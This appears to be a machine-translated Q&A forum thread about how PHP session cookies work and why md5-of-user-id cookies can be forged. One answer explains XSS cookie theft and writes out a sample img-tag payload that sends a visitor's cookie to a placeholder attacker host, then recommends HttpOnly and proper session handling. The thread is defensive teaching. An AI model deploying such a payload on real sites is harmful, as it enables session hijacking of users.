Let's say with php I create a session:

$_SESSION['user_id'] = 22;

The browser, as I understand it, creates a cookie with the user id in an encrypted form (say using md5). That is, if you generate another one using md5 user_id (17 for example) and replace the cookie, then it turns out you can get access to the user with id 17? Or I do not understand something?

  • The browser does not create anything. PHP creates a cookie with a random value - the session identifier, and the file corresponding to this cookie. You can fake (or steal) only this cookie. - Alexey Ten
  • @AlexeyTen how to understand with random value? that is, does he encrypt it? If you encrypt with another value, you can get access if there are no other checks (ip ...) and how php puts the file, it gives to the browser, and the browser, as I understand it puts ... - bsbak
  • one
    Nobody encrypts anything. A random sequence of characters is simply generated, which is the identifier of the user ... - Alexey Shimansky
  • Not a user, but a session. And what is stored in the session, PHP does not care at all (as long as it can be correctly serialized / restored) - Alexey Ten
  • 2
    Well yes. Just generate random ids and hope you get into the existing session. The chances of this are extremely small. In general, the session is not fake. They are being stolen, but this is a completely different conversation. - Alexey Ten

3 answers 3

Each PHP session has a unique code that cannot be easily retrieved, and all session data is stored only on the server, this “unique code” that is set in the cookie, that is, it works like this

  1. The user enters the site (when requesting to download html in HTTP headers, a request to install a cookie called PHPSESSION with a unique code is returned which does not depend on $_SESSION['user_id'] = 22; )
  2. Then the browser simply accesses the server with this key.

Simply put, you can imagine that $_SESSION is a session file, user_id cell in this file, and 22 is the value of user_id

Ps session data is not as impossible to get on the user’s side (unless you give it yourself, for example, by outputting it via echo $_SESSION['user_id']; )

    The server has a box. The user_id = 22 is in the box. The server is beating the box with an abrocadabra on the box and keeps the box itself all the time, does not give it to anyone.

    Then the server tells the browser: "Write, browser, abrocadabra from the plate of this box. The next time you come again, let me know and I will look in the box with this plate to get to know you."

    • 2
      At the most primitive level of the session-cook concept this is true, but in practice such a simple approach is rarely used - if only because with an increase in the tablets (users) the probability of their accidental guessing increases — brute force. Many people use a simple modification based on the second factor - for example, identifier binding to IP - AseN
    • and how option probukforss a cookie with session? - FORTRAN

    So: Let's say you distribute a site using the http protocol. you can assume that all your users have already been hacked, the admin panel has also been taken away. This case is not considered.

    Let's say you distribute a site via https

    You make a cookie, give it to the user. the user visits the site, and leaves somewhere a comment containing js-code. since you don't understand cookies, you also don't understand filtering js. In the simplest case, the JS code will display something like <img src=https://плохойсайт/img?cookie_id=ваша_кукочка> . You have a XSS vulnerability . Each visitor to the page with such a code will send his cookie to the attacker's server.

    Relatively speaking, a cookie (in this case, an aydish in a cookie) is thrown over to the attacker.

    If the cookie goes to the attacker, the simplest script will allow it to automatically do some bad actions when it receives a cookie, for example, go under you in the admin area, overwrite any file, save it, you won’t even notice what happened. Just some server on the Internet for 1-2 seconds logged in under you and did everything you need. Changed WordPress plugin, for example. And the author of infection at this time is sleeping quietly for himself. The script works. And he is sleeping. And you have syphilis on the site. And any malicious code that infects users.

    In the end, the server is infected, the users are infected, "and we are in hell and you are burning, son."

    To make the cookie unavailable for js-code in the browser, a special flag HttpOnly was invented - read here

    This is one of the reasons why some sites do not allow to enter simultaneously from two ip-addresses. For identification of the user id + ip pair is used.

    And that is why, for example, any alpha bank automatically logs you through, it seems, 10-15 minutes of inactivity. A friend came to you, and you went out to walk the dog, and the computer forgot to lock. Being on the same subnet, for example, you can steal a cookie, and a pair of cookie / ip from another computer on the same subnet will work quite well without any ip spoofing. (here I don’t know how much ip spoofing protection has progressed over the last few years)

    ps since I am not a security specialist, and if I were, I could hardly have given a full guide in response, I recommend that you google and read about such things yourself. pps https-certificate for free now it is fashionable to receive from https://letsencrypt.org

    pps if you decide to create cookies yourself, with the help of md5 from the user id, then do not decide so.

    Some nice person will see how many users you have, after that it will from time to time (depending on the number of users) make requests with the appropriate md5. If you add a list of users online, it will be even easier. You will forget about salt, forget about pepper and as a result your user's session will be md5(1), md5(2), md5(n)... You can simply make md5 (1) = authorized = I create what I want. Do not indulge in crypto without reading about it.

    Use the built-in mechanisms for generating cookies from php / read about encryption and hashing.

    ppps is still very funny when session_id is sent via a get request, i.e. session_id appears in the address bar of the browser. If a visitor to your site is asked to send a link to the material on your site, or he puts it somewhere, then auto-login will occur